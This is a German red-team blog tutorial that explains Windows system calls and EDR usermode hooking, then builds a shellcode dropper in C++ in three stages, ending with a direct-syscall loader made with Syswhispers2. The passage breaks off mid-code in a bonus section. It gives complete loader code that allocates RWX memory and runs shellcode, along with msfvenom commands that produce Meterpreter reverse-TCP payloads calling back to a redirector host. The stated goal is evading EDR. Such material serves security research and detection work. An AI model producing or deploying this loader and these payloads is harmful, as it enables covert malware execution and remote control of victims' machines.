Zurück

Direct Syscalls: A journey from high to low

tl;dr Ein System Call ist eine technische Anweisung unter Windows OS, die einen temporären Übergang (Transition) vom Usermode in den Kernelmode ermöglicht. Dies ist z.B. notwendig, wenn eine Usermode-Anwendung wie Notepad ein Dokument speichern möchte. Jeder System Call hat eine spezifische Syscall ID, die sich von Windows-Version zu Windows-Version unterscheiden kann. Direct System Calls sind eine Technik für Angreifer (Red Team), um Code im Kontext von Windows-APIs über System Calls auszuführen, ohne dass die betroffene Anwendung (Malware) Windows-APIs von der Kernel32.dll oder native APIs von der Ntdll.dll bezieht. Die für den Übergang vom Usermode in den Kernelmode notwendigen Assembly Instruktionen sind direkt in die Malware integriert.

In den letzten Jahren haben immer mehr Hersteller die Technik des Usermode Hookings implementiert, die es einem EDR vereinfacht gesagt ermöglicht, Code, der im Kontext von Windows APIs ausgeführt wird, auf eine eigene "Hooking.dll" umzuleiten und zu analysieren. Wenn der ausgeführte Code für den EDR nicht schädlich erscheint, wird der betroffene System Call korrekt ausgeführt, andernfalls wird die Ausführung durch den EDR verhindert. Usermode Hooking erschwert die Ausführung von Malware, weshalb Angreifer (Red Team) verschiedene Techniken wie API Unhooking, Direct System Calls oder Indirect System Calls verwenden, um EDRs zu umgehen.


In diesem Artikel konzentriere ich mich auf die Technik Direct System Calls und möchte zeigen, wie man Schritt für Schritt einen Direct System Call Shellcode Dropper unter Visual Studio in C++ erstellt. Ich beginne mit einem Dropper, der nur die Windows APIs (High Level APIs) verwendet. Im zweiten Schritt erfährt der Dropper seine erste Weiterentwicklung und die Windows APIs werden durch Native APIs (Medium Level APIs) ersetzt. Und im letzten Schritt werden die Native APIs durch Direct System Calls (Low Level APIs) ersetzt.

Disclaimer

Der Inhalt und alle Code-Beispiele in diesem Artikel sind nur für Forschungszwecke bestimmt und dürfen nicht in einem unethischen Kontext verwendet werden! Der verwendete Code ist nicht neu und ich erhebe keinen Anspruch darauf. Der meiste Code stammt, wie so oft, von ired.team, vielen Dank @spotheplanet für deine geniale Arbeit und das Teilen mit uns allen!

Einleitung

Die Technik der Direct System Calls ist heute (April 2023) keine neue Angriffstechnik für Red Teamer mehr. Ich selbst habe mich schon mehrfach mit diesem Thema beschäftigt (DeepSec Vienna 2020) und es gibt bereits eine Vielzahl von gut geschriebenen Artikeln und nützlichen Code Repositories im Internet. Trotzdem möchte ich mich dem Thema noch einmal widmen und verschiedene Aspekte im Zusammenhang mit Direct System Calls betrachten.

Für die nächsten Artikel in meinem Blog ist es mir persönlich wichtig, das Thema Direct System Calls noch einmal genauer unter die Lupe zu nehmen. In diesem Artikel möchte ich zeigen, wie man in C++ in Visual Studio (VS) einen Shellcode Dropper (kurz Dropper) erstellt, der auf Windows APIs und Native APIs verzichtet und stattdessen Direct System Calls verwendet. Was genau ein Direct System Call ist, werde ich etwas später in diesem Artikel erklären. Als Ausgangspunkt wird ein einfacher High Level API Dropper verwendet, der dann Schritt für Schritt zu einem auf Low Level APIs basierenden Direct System Call Dropper entwickelt wird. Die Schritte zur Entwicklung des Direct System Call Droppers sind wie folgt:

  • Schritt 1: High Level APIs -> Shellcode execution via Windows APIs

  • Schritt 2: Medium Level APIs -> Shellcode execution via Native APIs

  • Schritt 3: Low Level APIs -> Shellcode execution via Direct System Calls

  • Bonus: Shellcode als .bin Ressource


Des Weiteren möchte ich in diesem Artikel erklären, wie man seinen Dropper mit verschiedenen Tools wie API-Monitor, Dumpbin und x64dbg ein wenig analysieren und gegenchecken kann. Ich schaue mir z.B. an, wie man sicherstellt, dass der jeweilige Dropper die richtigen Windows APIs importiert oder nicht importiert und ob die jeweiligen System Call korrekt ausgeführt werden bzw. aus der richtigen bzw. erwarteten Region in der PE-Struktur ausgeführt werden.

Vorab möchte ich mich bei @JFaust für seinen Artikel bedanken, der mich sehr zu meinem Beitrag inspiriert hat. Außerdem möchte ich mich bei den Jungs von Outflank bedanken, die immer eine große Inspiration sind und durch deren Artikel ich vor einigen Jahren gelernt habe, wie Windows funktioniert und was Direct System Calls sind.

Was ist ein System Call?

Bevor ich darauf eingehe, was ein Direct System Call ist und wie er von Angreifern (Red Team) verwendet wird, muss zunächst geklärt werden, was ein System Call überhaupt ist. Technisch gesehen ist ein System Call auf Assemblerebene eine Anweisung, die nach der Ausführung von Code im Windows Usermode im Kontext der jeweiligen Windows API den temporären Übergang (Transition CPU-Switch) vom Usermode in den Kernelmode ermöglicht. Der System Call bildet somit die Schnittstelle zwischen einem Prozess im Usermode und dem im Windows Kernel auszuführenden Task. 

Warum braucht man in einem Betriebssystem, das in Usermode und Kernelmode aufgeteilt ist, überhaupt System Calls? Anbei ein paar Beispiele:

  • Zugriff auf Hardware wie Scanner und Drucker 
  • Netzwerkverbindungen zum Senden und Empfangen von Datenpaketen
  • Das Lesen und Schreiben von Dateien 

Anhand des folgenden Beispiels soll die Funktionsweise von System Calls unter Windows OS ein wenig erläutert werden. Der Benutzer möchte einen in Notepad geschriebenen Text oder Code auf der Festplatte des Endgerätes speichern. Dazu benötigt der Usermode-Prozess notepad.exe temporären Zugriff auf das Dateisystem sowie auf verschiedene Gerätetreiber. Da sich beide Komponenten jedoch im Windows-Kernel befinden, ist ein Zugriff aus dem Usermode nicht ohne weiteres möglich. Um dieses Problem zu lösen, werden unter Windows System Calls verwendet. Dabei handelt es sich um programmtechnische Anweisungen, die für eine bestimmte Aufgabe einer Anwendung, z.B. notepad.exe, einen temporären Übergang vom Usermode in den Kernelmode ermöglichen. Jeder System Call ist über eine eigene Syscall ID auffindbar und unter Windows einer bestimmten Nativen API zugeordnet. Die Syscall ID kann jedoch von Windows-Version zu Windows-Version variieren.

Bitte beachten Sie, dass es sich hier um eine stark vereinfachte Darstellung der Funktionsweise von System Calls unter Windows handelt. Im Detail sind die Vorgänge im Usermode und auch im Kernelmode wesentlich komplexer. Zur Veranschaulichung des Grundprinzips sollte diese Erklärung jedoch zunächst ausreichen. Wer mehr zum Thema System Call erfahren möchte, dem empfehle ich einen Blick in die Windows Internals zu werfen.

Notepad transition syscall

Die obige Abbildung zeigt das technische Prinzip von System Calls anhand des oben genannten Beispiels mit Notepad. Damit der Speichervorgang im Kontext des Usermode-Prozesses notepad.exe durchgeführt werden kann, greift dieser im ersten Schritt auf die Kernel32.dll zu und ruft die Windows API WriteFile auf. Im zweiten Schritt greift die Kernel32.dll im Kontext derselben Windows API auf die Kernelbase.dll zu. Im dritten Schritt greift die Windows API WriteFile über die Ntdll.dll auf die Native API NtCreateFile zu. Die Native API enthält die technische Anweisung zur Initiierung des System Calls (System Call ID) und ermöglicht nach Ausführung den temporären Übergang (Transition - CPU Switch) vom Usermode (Ring 3) in den Kernelmode (Ring 0). 

Anschließend erfolgt im Windows Kernel der Aufruf des System Service Dispatchers aka KiSystemCall/KiSystemCall64, der dafür verantwortlich ist, anhand der ausgeführten System Call ID (Indexnummer im Register EAX) eine Abfrage des jeweiligen Function Codes in der System Service Descriptor Table (SSDT) durchzuführen. Nachdem der Function Code für den betroffenen System Call durch die Zusammenarbeit zwischen dem System Service Dispatcher und der SSDT identifiziert werden konnte, wird der Task im Windows Kernel ausgeführt. Danke an @re_and_more für die coole Erklärung des System Service Dispatchers.

Vereinfacht ausgedrückt werden Systemcalls unter Windows benötigt, um den temporären Übergang (Transition - CPU-Switch) vom Usermode in den Kernelmode durchzuführen bzw. um im Usermode initiierte Tasks, die temporären Zugriff auf den Kernelmode benötigen - wie z.B. das Speichern von Dateien - als Task im Kernelmode auszuführen.

Was ist ein Direct System Call?

Hierbei handelt es sich um eine Technik, die es einem Angreifer (Red Team) ermöglicht, Schadcode, z.B. Shellcode, im Kontext von APIs unter Windows so auszuführen, dass der jeweilige System Call nicht über die Ntdll.dll bezogen wird, sondern direkt als Assembly-Anweisung z.B. in der .text Region der Schadsoftware implementiert wird. Daher der Name Direct System Calls.

Es gibt verschiedene Möglichkeiten, Direct System Calls in Malware zu implementieren. Im weiteren Verlauf des Artikels werde ich zeigen, wie mit dem Tool Syswhispers2 die benötigten Native API Funktionen und Assembler Anweisungen generiert und in das C++ Projekt unter Visual Studio als Microsoft Macro Assembler (masm) Code implementiert werden.

Im Vergleich zur vorherigen Abbildung im Kapitel System Calls zeigt die folgende Abbildung vereinfacht das Prinzip von Direct System Calls unter Windows. Es ist zu erkennen, dass der Usermode Prozess Malware.exe den System Call für die Native API NtCreateFile nicht wie normalerweise vorgesehen über die Ntdll.dll bezieht, sondern stattdessen die für den System Call notwendigen Anweisungen in sich implementiert hat.

Direct syscall principle

Warum Direct System Calls?

Zum Schutz vor Schadsoftware (Malware) setzen sowohl Antivirenprodukte (AV) als auch Endpoint Detection and Response (EDR) Produkte auf unterschiedliche Abwehrmechanismen. Um potentiell schädlichen Code im Kontext der Windows APIs dynamisch untersuchen zu können, setzen die meisten EDRs heute das Prinzip des Usermode API Hookings um. Vereinfacht gesagt handelt es sich dabei um eine Technik, bei der Code, der im Kontext einer Windows API, z.B. VirtualAlloc bzw. der zugehörigen Native API NtAllocateVirtualMemory, ausgeführt wird, vom EDR absichtlich in eine eigene "Hooking.dll" des EDR umgeleitet wird. Unter Windows können unter anderem folgende Arten von Hooking unterschieden werden:

  • Inline API Hooking 
  • Import Adress Table (IAT) Hooking 
  • SSDT Hooking (Windows Kernel) 

In der Zeit vor der Einführung der Kernel Patch Protection (KPP) aka Patch Guard war es Antivirenprodukten möglich, ihre Hooks im Windows Kernel zu realisieren, z.B. mittels SSDT Hooking. Mit Patch Guard wurde dies von Microsoft aus Gründen der Betriebssystemstabilität unterbunden. Die meisten der von mir analysierten EDRs setzen vor allem auf Inline API Hooking. Technisch gesehen handelt es sich bei einem Inline Hook um eine 5 Byte lange Assembly-Anweisung (auch Jump oder Trampolin genannt), die einen Redirect auf die "Hooking.dll" des EDRs bewirkt, bevor eine Ausführung des System Calls im Kontext der jeweiligen Native API erfolgt. Dabei erfolgt die Umleitung von der "Hooking.dll" zurück (Return) zum System Call in der Ntdll.dll nur dann, wenn der von der "Hooking.dll" analysierte ausgeführte Code als nicht schädlich eingestuft wurde. Andernfalls wird die Ausführung des entsprechenden System Calls durch die Endpoint Protection (EPP) Komponente einer EPP/EDR Kombination verhindert. Die folgende Abbildung zeigt vereinfacht die Funktionsweise des Usermode API Hookings mittels EDR.

Usermode hooking principle

Betrachtet man den technischen Aufbau der Windows 10 Architektur genauer, so stellt man fest, dass die Ntdll.dll im Usermode den kleinsten gemeinsamen Nenner vor dem Übergang in den Windows Kernel darstellt. Aus diesem Grund platzieren einige bekannte EDRs ihre Inline Hooks in speziell ausgewählten Native APIs in der Ntdll.dll. Ok, wenn das so einfach ist, dann könnte ein EDR einfach alle Native APIs hooken und uns Red Teamern das Leben zur Hölle machen. Glücklicherweise ist das aus Sicht eines Red Teamers aus Performancegründen nicht möglich. Vereinfacht gesagt kostet das Hooken von APIs Ressourcen, Zeit etc. und je mehr ein EDR ein Betriebssystem verlangsamt, desto schlechter ist es für den EDR.

Daher werden von EDRs in der Regel nur gezielt ausgewählte APIs gehookt, die von Angreifern häufig in Verbindung mit Malware missbraucht werden. Dazu gehören zum Beispiel Native APIs wie NtAllocateVirtualMemory und NtWriteVirtualMemory.

https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/overview-of-windows-components
https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/overview-of-windows-components

Wer seinen eigenen EDR überprüfen möchte, ob dieser bzw. welche APIs mittels Inline Hooking auf die EDR-eigene "Hooking.dll" umgeleitet werden, kann dazu einen Debugger wie z.B. Windbg verwenden. Dazu startet man auf dem Endpoint mit installiertem EDR ein Programm z.B. Notepad, anschließend verbindet man sich über Windbg mit dem laufenden Prozess. Achtung, wer den gleichen Fehler wie ich am Anfang macht und die notepad.exe direkt als Image in den Debugger lädt, wird keine Hooks in den APIs finden, da der EDR in diesem Fall seine "Hooking.dll" noch nicht in den Adressspeicher der notepad.exe injizieren konnte.

Der folgende Befehl extrahiert die Speicheradresse der gewünschten API, in diesem Fall die Adresse der Native API NtAllocateVirtualMemory, die sich in der Ntdll.dll befindet.

x ntdll!NtAllocateVirtualMemory

Die Speicheradresse kann dann im nächsten Schritt mit folgendem Befehl aufgelöst werden und man erhält den Inhalt der Nativen API NtAllocateVirtualMemory im Assembly Format.

u 00007ff8`16c4d3b0

Die folgende Abbildung zeigt einen Vergleich zwischen einem Endpoint ohne installierten EDR und ohne Hook und einem Endpoint mit installiertem EDR, der Usermode Inline Hooking für Native APIs in der Ntdll.dll verwendet. Auf dem Endpoint mit installiertem EDR ist die 5 Byte lange Jump-Anweisung (jmp) gut zu erkennen. Wie bereits erwähnt, bewirkt diese Anweisung eine Umleitung zur "Hooking.dll" des EDR, bevor der Return zur Ntdll.dll erfolgt und der System Call ausgeführt wird.

Wer sicher sein will, dass die Jump-Anweisung wirklich einen Redirect auf die "Hooking.dll" des EDRs bewirkt, kann dies z.B. mit x64dbg überprüfen. Verfolgt man die Adresse der Jump-Anweisung einer gehookten API z.B. NtAllocateVirtualMemory im Speicher (Follow in Dissasembler), so erkennt man den Redirect auf die "Hooking.dll" des EDRs. Damit der EDR nicht über den Namen der "Hooking.dll" identifiziert werden kann, wurde diese absichtlich verpixelt.

X64dbg hook principle

Konsequenzen fürs Red Team 

Aus Sicht des Red Teams führt die Usermode Hooking Technik dazu, dass der EDR die Ausführung von Malware, z.B. Shellcode, erschwert oder verhindert. Aus diesem Grund verwenden Red Teamer und auch böswillige Angreifer verschiedene Techniken, um EDR Usermode Hooks zu umgehen. Unter anderem werden folgende Techniken einzeln, aber auch in Kombination verwendet, z.B. API-Unhooking und Direct System Calls.

  • API-Unhooking 
  • Direct System Calls 
  • Indirect System Calls 


In diesem Artikel werde ich mich nur auf die Technik der Direct System Calls konzentrieren, d.h. ich werde später Direct System Calls in den Dropper implementieren und so versuchen zu vermeiden, dass die entsprechenden System Calls über die Ntdll.dll bezogen werden, in der einige EDRs ihre Usermode Hooks platzieren. Die Grundlagen von Direct System Calls und Usermode Hookings sollten nun klar sein und es kann mit der Entwicklung des Direct System Call Droppers begonnen werden.

Schritt 1: High Level APIs

Im ersten Schritt verwende ich bewusst noch keine Direct System Calls, sondern beginne mit der klassischen Implementierung über Windows APIs, die über die Kernel32.dll bezogen werden. Das POC kann als neues C++ Projekt (Console Application) unter VS erstellt und der Code übernommen werden.

Die technische Funktionsweise der High Level API ist relativ einfach und eignet sich daher meiner Meinung nach hervorragend, um den High Level API Dropper schrittweise zu einem Direct System Call Dropper weiterzuentwickeln. Der Code funktioniert folgendermaßen.

Innerhalb der Main-Funktion wird die Variable "code" definiert, die für die Speicherung des Shellcodes zuständig ist. Der Inhalt von "code" wird in der Sektion .text (code) der PE-Struktur gespeichert oder, falls der Shellcode größer als 255 Bytes ist, wird der Shellcode in der Sektion .rdata gespeichert.

// Insert Meterpreter shellcode  
	unsigned char code[] = "\xa6\x12\xd9...";

Im nächsten Schritt wird ein Pointer vom Typ "void*" mit der Variablen "exec" definiert, der auf das Windows API VirtualAlloc zeigt und die Startadresse des allokierten Speicherblocks zurückgibt.

// Allocate Virtual Memory 
	void* exec = VirtualAlloc(0, sizeof code, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

Mit der Funktion memcpy wird der Shellcode in der Variable "code" in den reservierten Speicher kopiert. 

// Copy MSF-Shellcode into the allocated memory 
	memcpy(exec, code, sizeof code);

Und im letzen Schritt wird der Shellcode ausgeführt, indem der Funktionspointer "((void(*)())exec)()" aufgerufen wird.

// Execute MSF-Shellcode in memory 
	((void(*)())exec)();
	return 0;

Anschließend kann z.B. Meterpreter Shellcode generiert und in den fertigen High Level API Dropper kopiert werden.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=External_IPv4_Redirector LPORT=80 -f c
#include <stdio.h>
#include <windows.h>

int main() {

	// Insert Meterpreter shellcode  
	unsigned char code[] = "\xa6\x12\xd9...";


	// Allocate Virtual Memory 
	void* exec = VirtualAlloc(0, sizeof code, MEM_COMMIT, PAGE_EXECUTE_READWRITE);


	// Copy shellcode into allocated memory 
	memcpy(exec, code, sizeof code);


	// Execute shellcode in memory 
	((void(*)())exec)();
	return 0;
	
}

Wie eingangs erwähnt, zeige ich in diesem Artikel, wie man Schritt für Schritt einen eigenen Direct System Call Dropper in C++ entwickelt. Zusätzlich möchte ich eine einfache API-Analyse im Kontext der verschiedenen Dropper (High, Medium und Low) durchführen und die Ergebnisse miteinander vergleichen. Außerdem möchte ich für jeden Dropper untersuchen, aus welcher Region der PE-Struktur die verwendeten System Calls aufgerufen werden, überprüfen, ob das jeweilige Ergebnis auch plausibel erscheint und die Ergebnisse wiederum miteinander vergleichen. Es werden folgende Tools verwendet. 


API-Monitor: High Level APIs

Mit dem Program API Monitor überprüfe ich, welche APIs bzw. ob die korrekten APIs im High Level POC zum Einsatz kommen. In diesem Fall schaue ich, ob die Windows API VirtualAlloc importiert wurde. Außerdem möchte ich sehen, ob ein korrekter Übergang von VirtualAlloc zu NtAllocateVirutalMemory stattfindet. Für eine korrekte Überprüfung muss auf die richtigen APIs gefiltert werden. Im Kontext des High Level API Droppers filtere ich auf folgende API Calls:

  • VirtualAlloc
  • NtAllocateVirtualMemory
  • RtlCopyMemory
  • CreateThread
  • NtCreateThreadEx

In der Abbildung mit dem Ergebnis von API-Monitor ist zu erkennen, dass wie erwartet im ersten Schritt die Windows API VirtualAlloc aus der Kernel32.dll aufgerufen wird und anschließend über VirtualAlloc die zugehörige Native API NtAllocateVirtualMemory aus der Ntdll.dll aufgerufen wird. Weiterhin ist zu erkennen, dass anschließend die Native API NtCreateThreadEx korrekt aufgerufen wurde. Das Ergebnis in API-Monitor ist soweit OK.

High level api monitor

Dumpbin: High Level APIs 

Mit dem Visual Studio Tool Dumpbin kann überprüft werden, welche Windows APIs über die Kernel32.dll importiert werden. Der folgende Befehl kann verwendet werden, um die Importe zu überprüfen. 

cd C:\Program Files (x86)\Microsoft Visual Studio\2019\Community
dumpbin /imports high_level.exe

Die folgende Abbildung zeigt, dass die Windows API VirtualAlloc korrekt importiert wurde.

Dumpbin high level

x64dbg: High Level APIs 

Mit x64dbg überprüfe ich, aus welcher Region der PE-Struktur des High Level API Droppers der System Call für die Native API NtAllocateVirtualMemory ausgeführt wird. Da in diesem Dropper noch keine Direct System Calls verwendet werden, zeigt die Abbildung, dass der System Call korrekt aus der .text Region der Ntdll.dll ausgeführt wird. Diese Untersuchung ist sehr wichtig, da ich im späteren Verlauf des Artikels mit dem Low Level POC ein anderes Ergebnis erwarte und dieses dann abgleichen möchte.

Systemcall x64dbg highlevel
High level poc illustration


Schritt 2: Medium Level APIs

In diesem Schritt führe ich die erste Erweiterung des Droppers durch und ersetze im High Level API Dropper  die Windows APIs (Kernel32.dll) durch Native APIs (Ntdll.dll). In diesem Fall ist die Änderung relativ einfach, da nur die Windows API VirtuallAlloc durch die Native API NtAllocateVirtualMemory ersetzt werden muss. Zusätzlich wird der Code um die Native APIs RtlCopyMemory und NtFreeVirtualMemory erweitert.

Im Gegensatz zu den Windows APIs sind die meisten Native APIs von Microsoft nicht offiziell bzw. nur teilweise dokumentiert und daher auch meist nicht für Entwickler unter Windows OS vorgesehen. Um die Native APIs dennoch im Medium Level Dropper verwenden zu können, muss im ersten Schritt ihre Struktur im Code definiert werden. 

// Define the NtAllocateVirtualMemory function pointer
typedef NTSTATUS(WINAPI* PNTALLOCATEVIRTUALMEMORY)(
    HANDLE ProcessHandle,
    PVOID* BaseAddress,
    ULONG_PTR ZeroBits,
    PSIZE_T RegionSize,
    ULONG AllocationType,
    ULONG Protect
    );

Schaut man sich den Code des Medium Level Droppers an, so stellt man fest, dass der Import der eigentlichen Funktion der verwendeten Native APIs jedoch weiterhin über die Ntdll.dll erfolgt.

// Load the NtAllocateVirtualMemory function from ntdll.dll
    PNTALLOCATEVIRTUALMEMORY NtAllocateVirtualMemory =
        (PNTALLOCATEVIRTUALMEMORY)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtAllocateVirtualMemory");

Wenn z.B. ein EDR seine Usermode Hooks nur in der Kernel32.dll setzt, sollte der Medium Level API Dropper ausreichen, um die Hooks des EDR zu umgehen. Der fertige C++ Code für den Medium Level Dropper sieht wie folgt aus.

#include <stdio.h>
#include <windows.h>
#include <winternl.h>

// Define the NtAllocateVirtualMemory function pointer
typedef NTSTATUS(WINAPI* PNTALLOCATEVIRTUALMEMORY)(
    HANDLE ProcessHandle,
    PVOID* BaseAddress,
    ULONG_PTR ZeroBits,
    PSIZE_T RegionSize,
    ULONG AllocationType,
    ULONG Protect
    );

// Define the NtFreeVirtualMemory function pointer
typedef NTSTATUS(WINAPI* PNTFREEVIRTUALMEMORY)(
    HANDLE ProcessHandle,
    PVOID* BaseAddress,
    PSIZE_T RegionSize,
    ULONG FreeType
    );

int main() {

    // Insert Meterpreter shellcode 
    unsigned char code[] = "\xa6\x12\xd9...";


    // Load the NtAllocateVirtualMemory function from ntdll.dll
    PNTALLOCATEVIRTUALMEMORY NtAllocateVirtualMemory =
        (PNTALLOCATEVIRTUALMEMORY)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtAllocateVirtualMemory");


    // Allocate Virtual Memory  
    void* exec = NULL;
    SIZE_T size = sizeof(code);
    NTSTATUS status = NtAllocateVirtualMemory(GetCurrentProcess(), &exec, 0, &size, MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);


    // Copy shellcode into allocated memory 
    RtlCopyMemory(exec, code, sizeof code);


    // Execute shellcode in memory  
    ((void(*)())exec)();


    // Free the allocated memory using NtFreeVirtualMemory
    PNTFREEVIRTUALMEMORY NtFreeVirtualMemory =
        (PNTFREEVIRTUALMEMORY)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtFreeVirtualMemory");
    SIZE_T regionSize = 0;
    status = NtFreeVirtualMemory(GetCurrentProcess(), &exec, &regionSize, MEM_RELEASE);

    return 0;
}

API-Monitor: Medium Level APIs

Auch in diesem Fall sollte mit API-Monitor überprüft werden, welche APIs vom Medium Level Dropper verwendet werden. In diesem Fall wird mit API-Monitor nach folgenden API-Calls gefiltert:

  • VirtualAlloc
  • NtAllocateVirtualMemory
  • RtlCopyMemory
  • CreateThread
  • NtCreateThreadEx
  • NtFreeVirtualMemory

Die folgende Abbildung zeigt, dass der Medium Level Dropper korrekterweise keine Windows APIs mehr importiert oder verwendet. Mit anderen Worten, es werden keine Windows APIs mehr über die Kernel32.dll bezogen.

Api monitor medium level poc

Dumpbin: Medium Level APIs

Auch in diesem Fall möchte ich die importierten Windows APIs mit Dumpbin überprüfen. Da in diesem Fall im Medium Level POC ausschließlich native APIs aus der Ntdll.dll bezogen werden, ist in der Abbildung erkennbar, dass im Kontext der von uns verwendeten APIs keine Windows APIs aus der Kernel32.dll importiert werden. Dieses Ergebnis war zu erwarten und ist plausibel. 

Dumpbin medium level

x64dbg: Medium Level APIs

Da auch in diesem Fall noch keine Direct System Calls im Medium Level POC verwendet werden, sieht man mit x64dbg, dass der System Call für NtAllocateVirutalMemory korrekterweise aus der .text Region der Ntdll.dll kommt.

Systemcall x64dbg medium level
Medium level poc illustration

Schritt 3: Low Level APIs

Im dritten Schritt erfolgt die Weiterentwicklung des Medium Level Droppers hin zum Low Level Dropper, sprich ich erstelle nun den eigentlichen Direct System Call Dropper. Vielen Dank an meinen Kumpel Jonas, der mir bei der Fertigstellung des Low Level Droppers geholfen hat.

Wie bereits erwähnt, werden System Calls normalerweise über die Native APIs in der Ntdll.dll aufgerufen. Das bedeutet, um die Funktionen der verwendeten Native APIs und die zugehörigen Syscalls auch ohne Zugriff auf die Ntdll.dll nutzen zu können, müssen diese direkt in den Code des Low Level Droppers implementiert werden. In diesem Fall wird der benötigte Code in der .text Region des Low Level Droppers implementiert.

Glücklicherweise gibt es hierfür das geniale Tool Syswhispers2 von @Jackson_T, mit dem der benötigte Code automatisiert erzeugt werden kann. 

  • syscalls.h
  • syscalls.c 
  • syscallsstubs.std.x64.asm

Mit dem folgenden Kommando können die benötigten Dateien mit Syswhispers2 erzeugt werden. In diesem Fall möchte ich vermeiden, dass nicht benötigter Code im Low Level API Dropper landet und spezifiziere daher mit dem Parameter -f genau die Native APIs, die ich benötige. In diesem Fall werden die folgenden Native APIs und die dazugehörigen System Calls in Form von Assembly Code benötigt: 

  • NtAllocateVirtualMemory
  • NtWriteVirtualMemory
  • NtCreateThreadEx
  • NtWaitForSingleObject
  • NtClose
python syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx,NtWaitForSingleObject,NtClose -a x64 -l masm --out-file syscalls
Syswhispers2 output

Anschließend kann die Datei syscalls.h als Header, die Datei syscallsstubs.std.x64.asm als Resource und die Datei syscalls.c als Source zum VS-Projekt hinzugefügt werden. Damit der Assembly Code aus der .asm Datei unter VS verwendet werden kann, muss noch die Option für Microsoft Macro Assembler (.masm) unter Build Dependencies/Build Customizations aktiviert werden. Für mehr Details sollte man sich die Dokumentation von Syswhispers2 anschauen. 

Masm

Zusätzlich müssen noch die Eigenschaften (Properties) der Datei syscallsstubs.std.x64.asm wie folgt angegeben werden. 

Low level properties asm code
Low level vs

Auch in diesem Fall benötigt der Dropper den Code der verwendeten Native APIs und dazugehörigen System Calls, der große Unterschied im Vergleich zum Medium Level Dropper ist jedoch, dass der Code nicht mehr über (die durch den EDR gehookte) Ntdll.dll erfolgt sondern direkt in den Dropper integriert ist. Vergleicht man den finalen Code des Low Level Droppers mit dem Code des Medium Level Droppers, so fällt auf, dass die Strukturdefinition der verwendeten Native APIs nicht mehr unter "main" erfolgt, sondern stattdessen in der Header-Datei syscalls.h. Der benötigte Code für die Funktionen und System Calls befindent sich im syscallsstubs.std.x64.asm file. 

#include <iostream>
#include <Windows.h>
#include "syscalls.h"

int main() {
    // Insert Meterpreter shellcode
    unsigned char code[] = "\xa6\x12\xd9...";


    LPVOID allocation_start;
    SIZE_T allocation_size = sizeof(code);
    HANDLE hThread;
    NTSTATUS status;

    allocation_start = nullptr;


    // Allocate Virtual Memory 
    NtAllocateVirtualMemory(GetCurrentProcess(), &allocation_start, 0, (PULONG64)&allocation_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);


    // Copy shellcode into allocated memory
    NtWriteVirtualMemory(GetCurrentProcess(), allocation_start, code, sizeof(code), 0);


    // Execute shellcode in memory 
    NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, GetCurrentProcess(), allocation_start, allocation_start, FALSE, NULL, NULL, NULL, NULL);


    // Wait for the end of the thread and close the handle
    NtWaitForSingleObject(hThread, FALSE, NULL);
    NtClose(hThread);

    return 0;
}

Wenn soweit alles richtig gemacht wurde, ist der Direct System Call Dropper fertig und kann kompiliert werden.


API-Monitor: Low Level APIs

Auch nach der letzten Änderung möchte ich mit API-Monitor überprüfen, welche APIs vom Low Level Dropper verwendet werden. In diesem Fall wird mit API-Monitor nach folgenden API-Calls gefiltert:

  • VirtualAlloc
  • NtAllocateVirtualMemory
  • RtlCopyMemory
  • CreateThread
  • NtCreateThreadEx
  • NtFreeVirtualMemory

In der folgenden Abbildung ist zu erkennen, dass auch in diesem Fall der Import der Native APIs über die Ntdll.dll erfolgt. Dieses Ergebnis ist mir derzeit nicht ganz klar, da ich mit dem Low Level Dropper die Native APIs nicht über die Ntdll.dll beziehen, sondern direkt in der .text Region des Droppers implementiert habe, sollte man eigentlich keine importierten Native APIs sehen. Das Ergebnis mit API-Monitor erscheint mir in diesem Fall nicht plausibel. 

Low level api monitor

Dumpbin: Low Level APIs 

Mit Dumpbin überprüfe ich nochmals, welche Windows APIs über Kernel32.dll importiert werden. Auch hier werden korrekterweise keine Windows APIs der im Kontext stehenden Native APIs importiert. Das Ergebnis ist soweit OK.

Dumpbin low level

x64dbg: Low Level APIs

Wie bereits bekannt, habe ich die Native APIs und die entsprechenden System Calls im Low Level Dropper nicht über die Ntdll.dll aufgerufen, sondern direkt im Dropper implementiert. Dies kann mit x64dbg überprüft werden, indem man sich die implementierten Funktionen in der low_level.exe ansieht. In der folgenden Abbildung ist zu sehen, dass das Native API NtAllocateVirtualMemory korrekt implementiert wurde. 

Ebenfalls ist in der Abbildung zu sehen, dass die Syscall Anweisung zu NtAllocateVirtualMemory im Low Level Dropper korrekt implementiert ist. Dazu verfolge ich die Native API NtAllocateVirtualMemory im Dissassembler (Follow in Dissassembler) und lasse mir anschließend über "Follow in Memory Map" anzeigen, von wo aus die Syscall-Anweisung aufgerufen wird. Wie erwartet erfolgt der Aufruf aus der .text Sektion der PE Struktur der low_level.exe.

Systemcall x64dbg low level
Low level poc illustration

Bonus Sektion: Shellcode als .bin Ressource 

Als Zusatzaufgabe möchte ich noch implementieren, dass der Meterpreter Shellcode im Direct System Call Dropper nicht als unsigned char, sondern als Ressource in Form einer .bin Datei gespeichert wird. Dies hat den Vorteil, dass der Dropper auch mit stageless Shellcode ausgestattet werden kann. Die Idee und das Code Snippet dazu stammen nicht von mir, sondern wie so oft aus einem der Artikel des ired.team. Ich habe den Code Snippet lediglich in den Syscall Dropper integriert. 

Zu Beginn erstelle ich mir wie folgt eine stageless Meterpreter Payload mit msfvenom. 

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=IPv4_redirector LPORT=80 -f raw > /tmp/code.bin

Im Anschluss kann der Shellcode in .bin Format als Ressource in das VS Projekt importiert werden. 

#include <iostream>
#include <Windows.h>
#include "syscalls.h"
#include "resource.h"


int main() {
    // Insert shellcode
    HRSRC codeResource = FindResource(NULL, MAKEINTRESOURCE(IDR_CODE_BIN1), L"CODE_BIN");
    DWORD codeSize = SizeofResource(NULL, codeResource);
    HGLOBAL codeResourceData = LoadResource(NULL, codeResource);
    LPVOID codeData = LockResource(codeResourceData);

